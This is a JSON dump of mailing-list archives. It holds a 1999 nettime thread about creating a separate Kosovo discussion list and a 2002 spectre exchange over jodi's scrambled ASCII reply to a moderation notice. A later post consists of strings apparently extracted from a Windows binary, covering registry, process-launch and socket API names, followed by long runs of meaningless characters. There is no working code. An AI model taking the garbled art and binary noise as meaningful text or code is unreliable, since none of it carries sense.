and may therefore be an interesting\ninitiative in itself. Such a list could become a blossoming open forum and\nwould not even need a moderator. As long as such an initiative is not\nfrustrated and sabotaged by supporters of either side in the conflict. If that\nwould ever happen a moderator would be necessary.\n\n\n\tFelipe Rodriquez\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                "to": "nettime-l {AT} Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00406.html",
                "list": "nettime_l",
                "author_name": "felipe rodriquez",
                "subject": "<nettime> RE: nettime-l = kosovo-l or serbia-l or nato-l ?",
                "from": "\"felipe rodriquez\" <felipe {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Pit Schultz <pit {AT} icf.de>",
                        "content": "\n> I'd prefer creating a separate forum for the discussion about the\n> Kosova/Serbian topic. Such a mailinglist may be appealing to a larger\n> community\n> than just the nettime subscribers, and may therefore be an interesting\n> initiative in itself. Such a list could become a blossoming open forum and\n> would not even need a moderator. As long as such an initiative is not\n> frustrated and sabotaged by supporters of either side in the conflict. If\n> that  would ever happen a moderator would be necessary.\n\ni agree. \nbut do the other people agree too? and would it work? \n\nmost of all it looks that such a list would rather accompany the\nreconstruction process and also a process of analysing and blaming\nand finding a way to understand what happened and rebuild bridges.\n\nwhy not starting with a list which puts these topics upfront, it\nonly would work if on nettime, syndicate and other places\npeople are not getting territorial about 'their' topic .and here\nis where i think such a forum would need a very proper planning of\npeople who are in a way activly involved in the reconstruction process. \nthen, only then, there would be a direct gateway from discussion to action.\nsubstantially such an initiative can be offered remotly but has to be\nwanted, realized and legitimized by people at the 'ground'. this dialectics\nof development is what would make such a project difficult. in this context\ni have to rermind everyone to reread the early proposal of Melentie from Skopje!\n\nthe other way is more the usual *self-organisation process* including\nhickups and flaws but rather open where the discourse might end up\nand who is 'allowed' to say something, beeing at the ground or in the\nsky, insider or outsider. the 'border politics' the way this conflict\norganizes a certain kind of control-space all over the world is worrysome\n- but mailinglists certainly give causes to keep the faith finding\nthoughtful ways of resistance. \n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                        "id": "00445",
                        "date": "Thu, 29 Apr 1999 21:14:45 +0200",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199904292307.AAA10398 {AT} Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00445.html",
                        "content-type": "text/plai",
                        "author_name": "Pit Schultz",
                        "subject": "Re: <nettime> RE: nettime-l = kosovo-l or serbia-l or nato-l ?"
                    },
                    {
                        "from": "\"K.Patelis\" <cop02kp {AT} gold.ac.uk>",
                        "content": "\nPit Schultz wrote: \n> i agree. \n> but do the other people agree too? and would it work? \n> \nNO and NO\n\nPigeon holes are created together with categories to segment and make\ncompartments out of knowledge and people, they are not inherently\nsystemic, or rather they are but to what cause? In the same way as\ncustomising news channels really really pisses me off, for the same reason\nfor which specialisation in early education ennoyed me in school , I think\nthat this idea is absolutely out of the question. My brain does not have\nlitle compartments. Besides the war can't neatly and should not neatly be\nseperated from anything else whether this is media-discources or ....\neveryday life and if it can that says more about poeples lives than the\nwar. If poeple are not inteligent enough to make connections between the\nknowledges in question this is not a reason to create compartments but\nrather to disolve things read and stop searching for boundaries that make\nthem feel safe. \n\nthis kind of reminds me of going to academic conferences and always being\ntaken to the room with the \"others\" , that have a common \"third world\"\nstrategy to plan, the \"others\" include the predictable majority which I\nwould hope feels the same way about this ( not that I am making claims). \n\nTo put it very buntly : Nettime is doing more than fine and so is the war!\n\nthanks \n\nKorinna\n\nps.\n>From Felipe's earlier mail:\n\"Every\nlist or newsgroup has an evolutionary process\"\n\nYou should read some anti-darwinism!\n\n\n\n\n\n ---\n> #  distributed via nettime-l : no commercial use without permission\n> #  <nettime> is a closed moderated mailinglist for net criticism,\n> #  collaborative text filtering and cultural politics of the nets\n> #  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n> #  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n> \n\nKorinna Patelis\nDepartment of Media and Communications\nGoldsmiths College-London-SE14 6NW\nDIRECT LINE 0171-9197243\n\n\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n",
                        "id": "00455",
                        "date": "Fri, 30 Apr 1999 12:20:19 +0100 (BST)",
                        "to": "nettime-l {AT} Desk.nl",
                        "message-id": "199904301424.PAA21007 {AT} Desk.nl",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-9904/msg00455.html",
                        "content-type": "text/plai",
                        "author_name": "K.Patelis",
                        "subject": "Re: <nettime> RE: nettime-l = kosovo-l or serbia-l or nato-l ?"
                    }
                ],
                "message-id": "199904270459.FAA22472 {AT} Desk.nl",
                "date": "Tue, 27 Apr 1999 01:47:23 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "n/a",
                "from": "404@jodi.org",
                "id": "651",
                "content": "Subject: Request to mailing list SPECTRE rejected\nFrom: spectre-admin@mikrolisten.de\nTo: 404@jodi.org\nX-Ack: no\nSender: spectre-admin@mikrolisten.de\nX-BeenThere: spectre@mikrolisten.de\nX-Mailman-Version: 2.0.8\nPrecedence: bulk\nList-Help: <mailto:spectre-request@mikrolisten.de?subject=help>\nList-Post: <mailto:spectre@mikrolisten.de>\nList-Subscribe: <http://post.openoffice.de/cgi-bin/mailman/listinfo/spectre>,\n\t<mailto:spectre-request@mikrolisten.de?subject=subscribe>\nList-Id: SPECTRE mailing list for media art and culture in Europe.\n<spectre.mikrolisten.de>\nList-Unsubscribe: <http://post.openoffice.de/cgi-bin/mailman/listinfo/spectre>,\n\t<mailto:spectre-request@mikrolisten.de?subject=unsubscribe>\nList-Archive: <http://post.openoffice.de/pipermail/spectre/>\nDate: Fri,  4 Jan 2002 12:21:02 +0100 (CET)\nStatus:\n\nYour mail to 'SPECTRE' with the subject\n\n    Re:[spectre] a_________: Questions and concerns for the attention\n of a person\n\n\nhas been rejected by the list moderator.  The moderator gave the\nfollowing reason for rejecting your request:\n\n\"Your message was too big; please trim it to less than 40 KB in size.\"\n\nAny questions or comments should be directed to the list administrator\nat:\n\n    spectre-admin@mikrolisten.de\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",
                "url": "http://post.in-mind.de/pipermail/spectre/2002-January/000651.html",
                "follow-up": [
                    {
                        "content-type": "n/a",
                        "from": "abroeck@transmediale.de",
                        "id": "653",
                        "content": "dear jodis,\n\nthis is funny, but it is a joke that has now been made. if you care to read\nthe info-file for spectre, you will see that the listman-software\nautomatically blocks messages larger than 40K as a spam-protector. it would\nalso be nice if you cared to respond to message sent to you privately,\nasking you if there is a problem that inke or i can help you solve.\n\nrelax. and remember that this is not the syndicate list.\n\ngreetings,\n-a\n\n>Subject: Request to mailing list SPECTRE rejected\n>\n>Your mail to 'SPECTRE' with the subject\n>\n>    Re:[spectre] a_________: Questions and concerns for the attention\n> of a person\n>\n>\n>has been rejected by the list moderator.  The moderator gave the\n>following reason for rejecting your request:\n>\n>\"Your message was too big; please trim it to less than 40 KB in size.\"\n>\n>Any questions or comments should be directed to the list administrator\n>at:\n>\n>    spectre-admin@mikrolisten.de\n\n\n\n\n",
                        "url": "http://post.in-mind.de/pipermail/spectre/2002-January/000653.html",
                        "follow-up": [
                            {
                                "from": "404@jodi.org",
                                "id": "654",
                                "content": "                                         b    c\n                                         u    s\n                                         s    b\n                                         n    u\n                                         u    s\n                                         =    =\n                                         t    t\n                                         c    c\n                                         e    e\n                                         j    j\n                                         b    b\n                                         u    u\n                                         s    s\n                                         ?    ?\n                                         e    e\n                                         d    d\n                                         .    .\n                                         n    n\n                                         e    e\n                                         t    t\n                                         s    s\n                                         i    i\n                                         l    l\n                                        >o    o\n                                        er   >r\n                                        bk   ek\n                                        ii   bi\n                                        rm   im\n                                        c@   r@\n                                        st    t\n                                         s    s\n                                         e    e\n                                         u    u\n                                         q    q\n                                         e    e\n                                         r    r\n                                         -    -\n                                         e    e\n                                         r    r\n                                         t    t\n                                         c    c\n                                         e    e\n                                         p    p\n                                         s    s\n                                         :    :\n                                         o    o\n                                         t    t\n                                         l    l\n                                         i    i\n                                         a    a\n                                         m    m\n                                         <    <\n\n                                          ,\n                                          >    ,\n                               d d        e    >\n                               l a        r    e\n         r \"                   u e        t    r\n         o .      n           ,o r        c    t\n         t e      o          .yw          e    c\n         a z  e   i          el eo        p .  e\n         r i  h   t          vetrt        s e  p >\n         t s  t   n          ltia         / p  s p\n         s        e          oa we     >  o o  / l\n         i n  e   t          sv.tr     /  f r  o e\n         n i  v   t        .  irfa     e  n u  f h\n         i    a   a        t urooc     r  i E  n =\n         m B  g            s opts      t  t    i t\n         d K      e   d    i y c-u     c  s n  t c     >\n         a    r   h   e    l  ueno     e  i i  s e     e>\n e_        0 :o   t   t      potay     p  l    i j     dg\n p_      t 4 tt       c    e lyom      s  / e  l b     .r\n o_      s   sa   r   e    t e rtf     /  n r  />u     eo\n r_      i n er   o t j    a hopsi     l  a u  nes     l.\n u_      l a ue   f c e    c  t-i      i  m t  ad?     ai\n E_        h qd     e r    i n ml.    0a  l l  m.e  ee id  e\n  _   e  e t eo   s j      d ata e    0m  i u  lnd  ddsdo  d\n p_   d  h   rm   n b E    n cnped    2r  a c  ie.  ..eej  .\n e_   .  t s      r u R    y  esha    0e  m    atn  nnmm@  n\n e_   n    s re   e s T    s is tm    +p  / d  mse  eeas4 8e\n D_   e  o e uh   c   C        a       i  n n  /it  ttgn0 .t\n: _   t  t l oT   n e E    e re tn    8p  i>a  nls 8ss a4 2s\npn_   s      y    o h P    h ogsae    1/  be   ioi .iiir< 4i\nli_   i  d o      c t S    t  aahe    :e  -dt  brl 0lldt  .l\ne _   l  e t g.              es tb    8d  i.r  -ko .ooo@109o\nhe_   o  t   nr   d h t    t ksK      5.  gna  iirk2rrjk6.0r\n r_   r  c t io  nn t s    o ne0ew    :e  ce   gmkl kk c011k\ndu_   k  e i tt  oa i i    n im4eo ,  7c  /ta  c@iu:ii]e7 .i\nnt_   i  r   ca  s  w l  ,      sn s  1i  esi  /embnmmeo :2m\nal_   m  i m er  rs      s s ton   i : f  did  er@ o@@rr,n9@\n u_   @  d i je  en ' g  g i atals d s2f  .le  dtt:ientbeo1e\nec_   n :  r ed  po E n  n   h hla o u0o  eom  .csesricadi@r\nv _   i>te>t>ro>> i>R>i ai s tdtih j t0n  cr   eeecrtme<.sot\nia_   m ab    m  at T l -t i  n w    a2e  ikr  cpunecdp nrrc\nhi_   d >  e r    s C i  e h mor t r t p  fio  isqeVeasneeke\ncd_   a  d s ot  fe E a  e t epeua a Sno  fmf  f:ed-p-[ntVip\nre_   -  l a fs  ou P m  r   lsgoh e  a.  o.   forense as-ms\nam_   e  u e  i   Q S    g t beryt d  Jt  net  ot-ca r:mie\n  _   r  o l nl  >  ' o    a ora       s  ers  nleem:teklm::\n,r_   t  h p o    :   t    h r l,e    4o  pti  eirrlecRcoiro\noo_   c  s   se   _ o      t po ek     p  ocl  patPire erMeT\nff_   e    ; ah   _ t t       tsro    ,/  .e   omc aep:ok d-\nn _   p  s g et   _   s    r a etj    i/  tpg  .<e Mhstri nd\nIt_   s  t i r    _ l e    e  dgc     r:  ssn  t p -T cBm ee\n s_      n b  y   _ i u    b seaea    Fp  o<i  s:s Xn:e @ Sr\n i_      e   gb   _ a q    m irsp      t  p l  ot:  erjse -e\n l_      m o n    _ m e    e  asss    :t  / i  pso  eebar Xv\n  _      m o id   _   R    m ece i    eh  / a  /ot  Bduet  i\n E_   >  o t we   _ r      e r mr     t<  : m  /Pl  -nSrc  l\n R_      c   ot   a u :    r eu ot    a   p    :-i  Xe de  e\n T_        s lc     o t      hosfi    D:  t E  pta   S np  D\n C_      r a le   ] Y c    d tyk       e  t R  tsm     As\n E_      o w oj   e > e    n   cet     v  h T  ti<\n P_          fe   r   j    a ffolu     i  < C  hL      ::\n S_      s e >r   t   b      iilib     h    E  < :     mo\n  _      n g      c   u    .   bf      c  : P    p     oT\n         o a  n   e   S    x ue -,     r  e S  : l     r\n         i s  e   p   >    a ocyoy     A  b    e e     F\n         t s  e   s        l yilfn     -  i :  b H\n         s e  b   [        e  nlnn     t  r d  i -\n         e m      :        r g aiu     s  c I  r t\n         u    s   e          nec f     i  s -  c s\n         q r  a   R          ibie      L  b t  s i\n           u  h              k ths        u s  b L\n         y o  >              soati        s i  u\n         n Y                 asm          n L  S\n         A \"                  lo s        U    -\n         > >      >           at i        -    t\n                               u h        t    s\n                               a t        s    i\n                                          i    L\n                                          L\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",
                                "date": "Fri, 4 Jan 2002 18:55:11 +0100",
                                "message-id": "654",
                                "url": "http://post.in-mind.de/pipermail/spectre/2002-January/000654.html",
                                "content-type": "n/a",
                                "author_name": "7061",
                                "subject": "Delivered-To: spectre@mikrolisten.de X-Sender:\n mikro@192.109.42.8 Mime-Version: 1.0 To: spectre@mikrolisten.de, 7061\n <404@jodi.org> From: Andreas Broeckmann <abroeck@transmediale.de>\n Subject: Re: [spectre] jodi games Sender: spectre-admin@mikrolisten.de\n X-BeenThere: spectre@mikrolisten.de X-Mailman-Version: 2.0.8 Precedence:\n bulk List-Help: <mailto:spectre-request@mikrolisten.de?subject=help>\n List-Post: <mailto:spectre@mikrolisten.de> List-Subscribe:\n <http://post.openoffice.de/cgi-bin/mailman/listinfo/spectre>,\n <mailto:spectre-request@mikrolisten.de?subject=subscribe> List-Id:\n SPECTRE mailing list for media art and culture in Europe.\n <spectre.mikrolisten.de> List-Unsubscribe:\n <http://post.openoffice.de/cgi-bin/mailman/listinfo/spectre>,\n <mailto:spectre-request@mikrolisten.de?subject=unsubscribe> List-Archive:\n <http://post.openoffice.de/pipermail/spectre/> Date: Fri, 4 Jan 2002\n 17:58:18 +0200 Status:    R e: [s if p if e if c if t if r if e] j if o\n if d if i g if a if m if e if s"
                            }
                        ],
                        "message-id": "653",
                        "date": "Fri, 4 Jan 2002 17:58:18 +0200",
                        "list": "spectre",
                        "author_name": "Andreas Broeckmann",
                        "subject": "[spectre] jodi games"
                    },
                    {
                        "author_name": "clement Thomas - pavu.com",
                        "from": "ctgr@free.fr",
                        "id": "659",
                        "content": "here you are boys !\n\nI just sent few bites back + extra PINES resort facilities to silly jodi !!\nI guess Sly Jdi will keep mouzshut now !\n\nI veille sur vous cher Fantomas--\n\n--\nOG police Dpt\ncomptine on me to bring order back on the list\n\navec les compliments de pavu.com bien sur\nenjoy Touring 2002\n\n\n7061 a *crit :\n\n> Subject: Request to mailing list SPECTRE rejected\n> From: spectre-admin@mikrolisten.de\n> To: 404@jodi.org\n> X-Ack: no\n> Sender: spectre-admin@mikrolisten.de\n> X-BeenThere: spectre@mikrolisten.de\n> X-Mailman-Version: 2.0.8\n> Precedence: bulk\n> List-Help: <mailto:spectre-request@mikrolisten.de?subject=help>\n> List-Post: <mailto:spectre@mikrolisten.de>\n> List-Subscribe: <http://post.openoffice.de/cgi-bin/mailman/listinfo/spectre>,\n>         <mailto:spectre-request@mikrolisten.de?subject=subscribe>\n> List-Id: SPECTRE mailing list for media art and culture in Europe.\n> <spectre.mikrolisten.de>\n> List-Unsubscribe: <http://post.openoffice.de/cgi-bin/mailman/listinfo/spectre>,\n>         <mailto:spectre-request@mikrolisten.de?subject=unsubscribe>\n> List-Archive: <http://post.openoffice.de/pipermail/spectre/>\n> Date: Fri,  4 Jan 2002 12:21:02 +0100 (CET)\n> Status:\n>\n> Your mail to 'SPECTRE' with the subject\n>\n>     Re:[spectre] a_________: Questions and concerns for the attention\n>  of a person\n>\n> has been rejected by the list moderator.  The moderator gave the\n> following reason for rejecting your request:\n>\n> \"Your message was too big; please trim it to less than 40 KB in size.\"\n>\n> Any questions or comments should be directed to the list administrator\n> at:\n>\n>     spectre-admin@mikrolisten.de\n>\n> ______________________________________________\n> SPECTRE list for media culture in Deep Europe\n> Info, archive and help:\n> http://coredump.buug.de/cgi-bin/mailman/listinfo/spectre\n\n\n",
                        "date": "Sun, 06 Jan 2002 07:23:36 +0100",
                        "message-id": "659",
                        "url": "http://post.in-mind.de/pipermail/spectre/2002-January/000659.html",
                        "content-type": "n/a",
                        "follow-up": [
                            {
                                "from": "michael.benson@pristop.si",
                                "id": "660",
                                "content": "Re:\n\n> here you are boys !\n>\n> I just sent few bites back + extra PINES resort facilities to silly jodi\n!!\n> I guess Sly Jdi will keep mouzshut now !\n> --\n> OG police Dpt\n> comptine on me to bring order back on the list\n\nDon't start.\n\nM\n\n\n\n",
                                "date": "Sun, 6 Jan 2002 12:01:57 +0100",
                                "message-id": "660",
                                "url": "http://post.in-mind.de/pipermail/spectre/2002-January/000660.html",
                                "content-type": "n/a",
                                "author_name": "Michael Benson",
                                "subject": "[spectre] Your mail to 'SPECTRE' with the subject:\" a_________:  Questionsand concerns for the attention of a person \""
                            }
                        ],
                        "subject": "[spectre] Your mail to 'SPECTRE' with the subject:\" a_________:\n Questionsand concerns for the attention of a person \""
                    }
                ],
                "message-id": "651",
                "date": "Fri, 4 Jan 2002 17:32:24 +0100",
                "list": "spectre",
                "author_name": "7061",
                "subject": "[spectre] Your mail to 'SPECTRE' with the subject:\" a_________: Questions\n and concerns for the attention of a person \""
            }
        ],
        "desc": "..."
    },
    "None of the above": {
        "lists": [
            {
                "content-type": "text/plai",
                "from": "lorian Cramer <cantsin@zedat.fu-berlin.de>",
                "id": "00591",
                "content": "GetCurrentThreadId    DeleteCriticalSection   LeaveCriticalSection\nEnterCriticalSection    InitializeCriticalSection   VirtualFree\nVirtualAlloc    LocalFree   LocalAlloc    VirtualQuery\nWideCharToMultiByte   MultiByteToWideChar   lstrlenA    lstrcpynA\nlstrcpyA    LoadLibraryExA    GetThreadLocale   GetStartupInfoA\nGetProcAddress    GetModuleHandleA    GetModuleFileNameA    GetLocaleInfoA\nGetLastError    GetCommandLineA   FreeLibrary   FindFirstFileA\nFindClose   ExitProcess   WriteFile   UnhandledExceptionFilter\nSetFilePointer    SetEndOfFile    RtlUnwind   ReadFile    RaiseException\nGetStdHandle    GetFileSize   GetSystemTime   GetFileType   CreateFileA\nCloseHandle user32 dll    GetKeyboardType   LoadStringA   MessageBoxA\nCharNextA advapi32 dll    RegQueryValueExA    RegOpenKeyExA   RegCloseKey\noleaut32 dll    VariantChangeTypeEx   VariantCopyInd    VariantClear\nSysStringLen    SysFreeString   SysReAllocStringLen   SysAllocStringLen\nkernel32 dll    TlsSetValue   TlsGetValue   LocalAlloc    GetModuleHandleA\nGetModuleFileNameA  advapi32 dll    RegSetValueExA    RegQueryValueExA\nRegOpenKeyExA   RegFlushKey   RegCreateKeyExA   RegCloseKey   GetUserNameA\nkernel32 dll    WriteFile   WinExec   WaitForSingleObject   VirtualQuery\nVerLanguageNameA    Sleep   SetThreadPriority   SetPriorityClass\nSetFilePointer    SetFileAttributesA    SetEndOfFile    RemoveDirectoryA\nReadFile    MulDiv    LoadLibraryA    LeaveCriticalSection\nInitializeCriticalSection   GlobalUnlock    GlobalReAlloc   GlobalHandle\nGlobalLock    GlobalFree    GlobalFindAtomA   GlobalDeleteAtom\nGlobalAlloc   GlobalAddAtomA    GetWindowsDirectoryA    GetVersionExA\nGetUserDefaultLangID    GetTimeZoneInformation    GetThreadLocale\nGetTempPathA    GetSystemDirectoryA   GetShortPathNameA   GetProcAddress\nGetModuleHandleA    GetModuleFileNameA    GetLocaleInfoA    GetLocalTime\nGetLastError    GetDiskFreeSpaceA   GetDateFormatA    GetCurrentThreadId\nGetCurrentThread    GetCurrentProcessId   GetCurrentProcess\nGetCurrentDirectoryA    GetComputerNameA    GetCPInfo   GetACP\nFormatMessageA    FindNextFileA   FindFirstFileA    FindClose\nFileTimeToLocalFileTime   FileTimeToDosDateTime   EnumCalendarInfoA\nEnterCriticalSection    DeleteFileA   DeleteCriticalSection   CreateFileA\nCreateEventA    CopyFileA   CompareStringA    CloseHandle mpr dll\nWNetOpenEnumA   WNetEnumResourceA gdi32 dll   UnrealizeObject   StretchBlt\nSetTextColor    SetROP2   SetBkMode   SetBkColor    SelectPalette\nSelectObject    RealizePalette    MoveToEx    GetTextMetricsA\nGetSystemPaletteEntries   GetStockObject    GetObjectA    GetDeviceCaps\nGetDIBits   GetCurrentPositionEx    GetBitmapBits   DeleteObject\nDeleteDC    CreatePenIndirect   CreatePalette   CreateFontIndirectA\nCreateDIBitmap    CreateCompatibleDC    CreateCompatibleBitmap\nCreateBrushIndirect   CreateBitmap  user32 dll    ReleaseDC\nMessageBoxA   LoadStringA   LoadIconA   GetSystemMetrics    GetSysColor\nGetIconInfo   GetDC   DrawIconEx    DestroyWindow   DestroyIcon\nCreateIcon  shell32 dll   ExtractIconA  wsock32 dll   WSAStartup\nWSAGetLastError   gethostname   getservbyname   getprotobynumber\ngethostbyname   socket    send    select    recv    ioctlsocket\ninet addr   htons   getsockname   getpeername   connect\nclosesocket wininet dll   InternetGetConnectedState\nB   B   A   B\nH    0 0 080 0 0D0H0L0P0T0 0m0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 161\n1F1N1V1 1f1n1v1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 2 2 2B2J2R2Z2b2j2r2\n2 2 2 3 3 4 4 5g5z5 546u6 6 6 6c7 8 8 9 9 9 939 9G9 9c9q9 9 9 9 9 9 9\n9 9 9 9 9 9        6   J T   k                       n           0 c i\nH         b h x                  0 0 0J0t0 0 0 0 0 0 0 0 0 0 0 1 141\n1B1l1r1 1 1 1 1 1 1 1 2 2B2J2P2V2 2 2 2 2 2 2B3M3V3 3l3u3 3 3 3 3 3 3\n3 4 4 4 4 4 4 5 5m5s5 5 5 5 5 5 6 6 6 7 7 8 8 9R               Q   N j\nw    0       171U1w1 1 1 1 1 1G2Z2n2 2 2 2 2 2 3 3 383 3K3 3c3i3 3 3 3 3 3\n3 3 3 3 3 3 4 4 4 8          T0 0 071F1 1 2 2 3Y3 6 6 6I8g8 8 8 83   H X\n9 B N U                      P      B0I0Z0f0 0 1 1 1 2K2 2 2 3 343E3N3 8\n828 8K8U8 8q8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 9 9 9 9 939B9L9V9c9z9 9 9 9\n9 9 9 9 9 9    F   d i n                               6   F N V   f n v\n6   F N V   f n v                                               6   F N V\nf n v                                               6   F N V   f n v\n4   D L T   d l t                                            0 0 0 0\n0 040 0D0L0T0 0d0l0t0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 1 1 1 141\n1D1L1T1 1d1l1t1 1 1 1 1 1 1 1 1 1 1 2 2 2 2 2 2 2024282 2J2 2 2 2 2\n2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 3 343 3 3D3H3L3P3T3X3 3l3 3 3 3 3 3\n3 3 3 3 3 3 3 3 3 3 3 3 4 4 4 4 4D4L4P4T4X4 4 4d4h4l4 4 4 4 4 4 4 4 4\n4 4 4 4 4 4 5 5 5 5 5 5 5 5 5L5T5X5 5 5d5h5l5p5t5 5 5 5 5 5 5 5 5 5 5\n5 5 6 6 6 6 6 6 6 6 6 686X6 6d6h6l6p6t6x6 6 6 6 6 6 6 6 6 6 6 6 6 6 6\n7 7 7 7 7 7 7 7 707 7 7h7l7p7t7x7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 8 8\n8 8 8084888 8 8T8t8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 9 94989 9\n9D9H9L9P9T9h9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9          D H L P T\nX     d                                             4 T     d h l p t x\nD H L P T X     d r         d    p       080 0 0 3J3 3 3 3 4 6N8R8V8Z8\n8b8f8j8n8r8v8z8 8 8 8 8 8 8 9 9      6                           k1R2\n2 2 3n3 3 3 4q4 4 5e5l5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 5 6 6C7g7 7 7 7\n8 8 8 9 9n9 9 9    1 a u\n   2 H f   L               F k           B T                       80X0\n   0 0 111 1W1f1 1 1 1 2 2 2 2 3 383 3 3 4 4 4 4h5 5 5 5 6 666N6U6h6 6 6\n   6 6 6 707 7S7 7 7 8 8 8 8u9 9 9 9 9C o             4   F U   d j o u z\n   1     i r                           p y           40J0s0 0 0 0 0 0 0 0\n1 1 1E1S1r1 1 1 1 1 1 1 2 2 2I2k2z2 2 2 2 2 2 2 3 3 3 3 3 4B4b4r4 4 4\n4 4 4 6 6 6 6 6 6 6 6 6 6 6 6064686 6 6D6H6L6P6T6X6 6 6d6h6l6p6t6x6 6\n6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 7 7 7 7 7\n7 7 74787 7D7L7P7X7 7d7h7p7t7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7\n7 7 8 8 8 8 8 8 8 80848 8 8H8L8T8X8 8d8l8p8x8 8 8 8 8 8 8 8 8 8 8 8 8\n8Q9 9 9 9 9 9 9 9 9  n           K g             h    0 0 0S1 1 1 1 1\n1 1 1 1 1 2 2 2 2 292D2N2Y2c2m2w2 2 2 2 2 2 2 2 2 2 2 2 3 3 373 3g3t3\n3 3 3 3 3 3 3 3 3 3 3 3 3 4 4 4 4 4 444 4D4L4T4 4d4l4 4 4 4 4 4 4 4 4 5\n5 505P5X5 5 5d5h5l5p5t5x5 5 5 5 5 5 5 5 5 5 5 5 5 6 6 6 6 6 6 6 6 606 6\n6h6l6p6t6x6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 6 7 7 7 7 7 7 7074787H7h7p7t7x7\n7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 7 8 8 8 8084888 8 8D8H8 8 8 8 8 8 8\n8 8 8 8 8 8 8 8 8 8 8 8 8 8 9 9 9 9 9 9 9 9H9L9P9T9X9 9 9d9h9x9 9\n9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9 9      H T X h p t x\n2 D   h x\n0 4 D U Y l\nd h l p t x                                               4     D H L P\nT X     d h l p             9 Q V p                                0 0 1\n1 1 1 1 2 2 2 3 3 3 4 4 4 4 4x5 5 5 5 6U6 6 6 7 7 7 8 8G8l8 8 9 9 9 9 90\nV       E b                       D a         u                  010N0w0\n0 121a1w1 1 1 2y2 2 3 3 3 304H4 5M5 5 5 6 6 6 7 8 8 8 8 9 9 9\n9                        4   K             l         x    0 0 0 0\n0 0 0 0 0 0 1 1 1 1 1 1 1 1 1 1 1 1 1 2D2B3J3W3c3r3 3 3 3 3 3 3 3 4\n4 404J4V4 4e4w4 4 4 4 4 4 4 4 4 4 4 4 4 4 5 5 595K5 5d5 5 5 5 5 5 5\n5 5 5 5 5 5 5 5 5 5 5 5 6 6 6 6 6 6F6 7 8 8Q X           1 C V   k w\nO b u                   3 F Y l                         2 6     B F J N\nR V Z   b i w                            0 0 0 0 0I0W0e0s0Y2 3O3 3h3z3 3\n4 4U4u4 4 5 5 6g6t6 6 6 6 6 6 6 6 6 7 7 7 7 7 767 7F7N7 7g7t7 7 7 7 7 7\n7 7 7 7 7 7 7 7 7 7 8 8 8 8 8 8084888 8 8D8H8L8P8T8X8 8 8d8r8 8 8 8 8 8\n8 8 8 8 8 8 8 8 8 8 8 8 8 8 8 9  h   A         v                    0 0\n0 0 1O2S2W2 2 2c2x2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 3\n3 3 3 3034383 3 3D3H3L3P3T3X3 3 3d3h3l3p3t3x3 3 3 3 3 3 3 4 4 4 4N4 4p4\n4 4 4 4 4 4 4 4 5 5 5 5M5 5o5 5 5 5 5 5 5 5 5 6 6 6 6L6 6n6 6 6 6 6 6\n6 6 6 6 7 7 7 7  k x               k              1 1K1V1 1s1 1 1 1 1 1\n2 2J2o2 2 2 3 3 3 3 454E4o4 4 4 5 5 5 5 5 5 5 5 6 6 6 6 6D6P6d6l6p6t6x6\n6 6 6 6 6 6 6 6 6 6 6 6V8e8 8 8 9 9\n 7 F U d                 3   U   e       u\n p0 0 0 1 1 1 1 1 1 2W2v2 2 2 3 313J3 3 3 3 3C4O4V4a4s4 4 4 4 4 4 4 5\n 5 5 5 5 5054585 5 5N5 5 5 5\n606Z6i6v6 6 6 7 7 7 7 7 7V8 8 8 8 9 9 9 9t9 9      I r       I h\nG f   U o                      0  p    0 0 0 0 0 0B1Q1 1 1 1 2 2 2 2\n3C3o3 3 3 3 3 3 3 3 3 3 3 3 3 3 3 4 444 4 4D4H4L4P4T4X4 4 4 4 4 4 4 4 4\n4 4 4 4 4 4 4 4 4 4 4 4 4 4 5 5 5 5 5 5 5 5 5 5 5 5054585 5 5H5X5f5j5 5\n5 5 5 5 5 5 5 5 5 5 5 5 5 6 6 6 6 6 6 6 6 6 686H6X6 6d6h6l6p6t6x6 6 6 